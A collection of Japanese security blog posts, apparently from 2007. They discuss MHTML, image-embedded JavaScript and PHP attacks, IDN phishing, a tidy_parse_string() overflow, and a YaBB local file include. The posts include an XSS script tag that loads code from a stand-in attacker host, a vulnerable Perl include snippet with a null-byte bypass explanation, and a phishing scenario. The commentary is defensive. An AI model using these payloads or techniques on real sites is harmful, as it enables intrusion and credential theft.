カテゴリー
Security

直していなかったのか… mhtml

mhtmlの脆弱性は非常に古くから指摘されていたので、大方は直っていると思っていたのですが

http://openmya.hacker.jp/hasegawa/security/ms07-034.txt

によると直してなかったのですね。

これだけではないので、Webアプリを真面目に作っている人からすると真面目にやっているのが馬鹿らしくなります…

カテゴリー
Security

携帯用ウィルスが流行しているとは聞いていましたが、12万台とは…

最近、画像がらみエントリが多いです。

この容疑者が開発したウィルスはBuletooth内蔵型の携帯電話で用いられているSymbian 社製の組み込み機器用OSに感染するというもの。アダルト画像ファイルなどを経由して他の携帯電話に感染。ウィルスに感染した携帯電話は12万台近くにも及んでいた。

作者が逮捕されたそうですが、どこから出所が判ったのか興味があります。

最近のエントリで画像のバリデーションにフォーマット変換を用いた方法を紹介しました。「自分のサイトだけ守れれば良いのでは?」とされる意見を頂いていたのですが、そうは言っていられない事例の一つだと思います。

参考:
http://blog.ohgaki.net/index.php/yohgaki/2007/06/24/c_ra_a_a_ia_ca_la_ljavascripta_e_na
http://blog.ohgaki.net/index.php/yohgaki/2007/06/24/c_ra_a_a_ia_ca_la_lphpa_sa_fa_a_a_a_effa

カテゴリー
Computer Security

画像ファイルにJavaScriptを隠す

前回のエントリでイメージファイルにスクリプトを埋め込んで攻撃する方法について記載しましたが、最近イメージファイルにスクリプトを埋め込む事例が話題になったためか ha.ckersにJavaScriptをイメージファイルに隠す方法が紹介されています。

http://ha.ckers.org/blog/20070623/hiding-js-in-valid-images/

<script src="http://cracked.example.com/cracked.gif">

などとXSS攻撃を拡張する手段に利用可能です。サンプルとしてFlickerにJavaScriptを埋め込んだイメージファイルがアップされています。

	Hide JavaScript code into GIF image

このイメージファイルは上手く細工しているので画像としても表示され、JavaScriptも実行できます。

Flickerは画像ファイルをそのままアップロードできるようですね。もしかしてGDの整数オーバーフロー脆弱性を攻撃する画像イメージなどもアップできる??

カテゴリー
PHP Security Security

画像ファイルにPHPコードを埋め込む攻撃は既知の問題

国内外のメディアで「画像ファイルに攻撃用のPHPコードが含まれていた」と比較的大きく取り上げられています。しかし、この攻撃手法は古くから知られていた方法です。条件は多少厳しくなりますがPerl, Ruby, Pythonでも同様の攻撃は考えられます。PHPの場合は言語仕様的に他の言語に比べ攻撃が容易です。

典型的な攻撃のシナリオは次の通りです。

追記:Tokenizerを使った例に修正しました。

カテゴリー
Security

日本語ドメインは覚えやすい、分かりやすい、そしてだましやすい

いくら個人ブログで「信頼するに足る会社は日本語ドメインを利用すべきはない」

http://blog.ohgaki.net/index.php/yohgaki/2007/04/03/xxxa_a_ia_ca_sa_aac
http://blog.ohgaki.net/index.php/yohgaki/2005/02/12/a_fe_a_a_a_ia_ca_sa_a_ra_a_pa_a_ma_sa_de

と書いても、そのうち日本語ドメインが氾濫するのでしょう…

お名前.comから送信されたメールに次のように書いてあります。

┏━━━━━━━━━━━━━━━━━━━━┓
┃日本語ドメインは覚えやすい!      ┃
┗━━━━━━━━━━━━━━━━━━━━┛
長い名称やキャッチコピーをドメイン名にする際に、ローマ字ドメインに比べて日本語ドメインの場合、「覚えやすい」「入力しやすい」といったメリットがあります。

1.商品名・キャッチコピーで登録
  http://お名前.com
  http://ドメイン取るならお名前.com

日本語の名詞をドメインに利用するだけでも問題ですが、最悪なのはキャッチコピーをドメインに利用する場合です。

http://ドメイン取得はお名前.com/

とフィッシャーが登録したらどうでしょうか? お名前.comそっくりのサイトにしてユーザ名とパスワードを盗んだ後、本当のサイトに接続させれば多くのユーザはIDが盗まれた事に気がつかないと思います。ドメイン登録情報の改ざんはサイトの価値に関わらずお金になりそうです…

信頼が重要な会社は、TLD、ccTLD以下のドメインには以下のようなルールを作るべきだと考えています。

– 国際化ドメイン(IDN)は使用しない
– 子会社などを”-“使用したドメインを使用しない
– キャンペーン用のドメインは作成しない
– 製品名でドメインは作成しない
– 広く認知されているドメインのサイトで利用しているドメインを全て記載する

などの対策が必要です。子会社、キャンペーン、商品・商標名で絶対にドメインを作ってはならないとまでは言いませんが、ほとんどの場合はサブドメインやURLのパスで十分でしょう。

顧客を大切にする会社はドメインを節約しましょう。使用するドメインが少ないほど、顧客がフィッシング詐欺被害に合う確率が減るはずです。

カテゴリー
Computer Development Security

tidy_parse_string() オーバーフロー

CVE-2007-3294にtidy_parse_string()オーバーフローが登録されています。

http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-3294

に脆弱性情報のソースURLが記載されています。

http://www.milw0rm.com/exploits/4080

すぐに応用可能な実証コード付きです。Linuxだと影響が大きすぎると考えたのか、実証コードの作成者がWindows環境が得意なのか、Windows環境のコードになっています。

tidy_parse_string()の第二引数(動作設定用パラメータ)のオーバーフローを利用しているので専用サーバで運用しているユーザにはあまり重要な脆弱性ではありません。(普通のコードならローカルからしか攻撃できない)しかし、PHPの場合、共有ホスティング環境で運用すできでないアプリケーション(たとえばECアプリ)も多く利用されているので「Base score: 7.5 (High) 」とレーティングされても仕方ないところでしょう。

カテゴリー
Security

Perlアプリ(YaBB)でローカルファイルインクルード

PHPではリモートファイルインクルード脆弱性でよく知られている問題ですがなかなか無くならない問題です。探してみるとPerlアプリにも同類の脆弱性が結構見つかるかも知れません。(Perlの場合はローカルのファイルしかインクルードできませんが)

2007/6/19のfull-disclosureに「local File Include Vulnerabilities in YaBB <= 2.1(all version)」と題するメールが投稿されていました。PHPならリモートファイルインクルード脆弱性となる典型的なコードが紹介されていました。

—Sources/Subs.pl:1529—
if (-e “$langdir/$use_lang/$what_to_load.lng”) {
require “$langdir/$use_lang/$what_to_load.lng”;
}
—end—

Perlでもシステムのどこかに攻撃用のPerlコードを保存できれば任意のコードを実行できるようになります。YaBBは名前からも分かるようにBBSアプリなので攻撃用コードをアップロードするのは容易なのかも知れません。もしかして、この種の問題は知られているようで知られていない??

Googleで”Powered By YaBB”で検索すると日本語ページで16900、サイト全体で136万ページヒットしました。アバダや投稿がファイルとして保存されている場合、攻撃は簡単だと思います。(コードを見たことがないので予想です)

追記:
なぜ攻撃が簡単かというと -e によるチェックはヌルバイトインジェクションに脆弱だからです。基本的にファイルの先頭にperlコードを書き込んで保存できる個所があればどのようなファイル名であってもインクルードできます。-eはfile_exists()に書き換える必要がありますがPHPプログラマにとっては常識なはず(?)の動作です。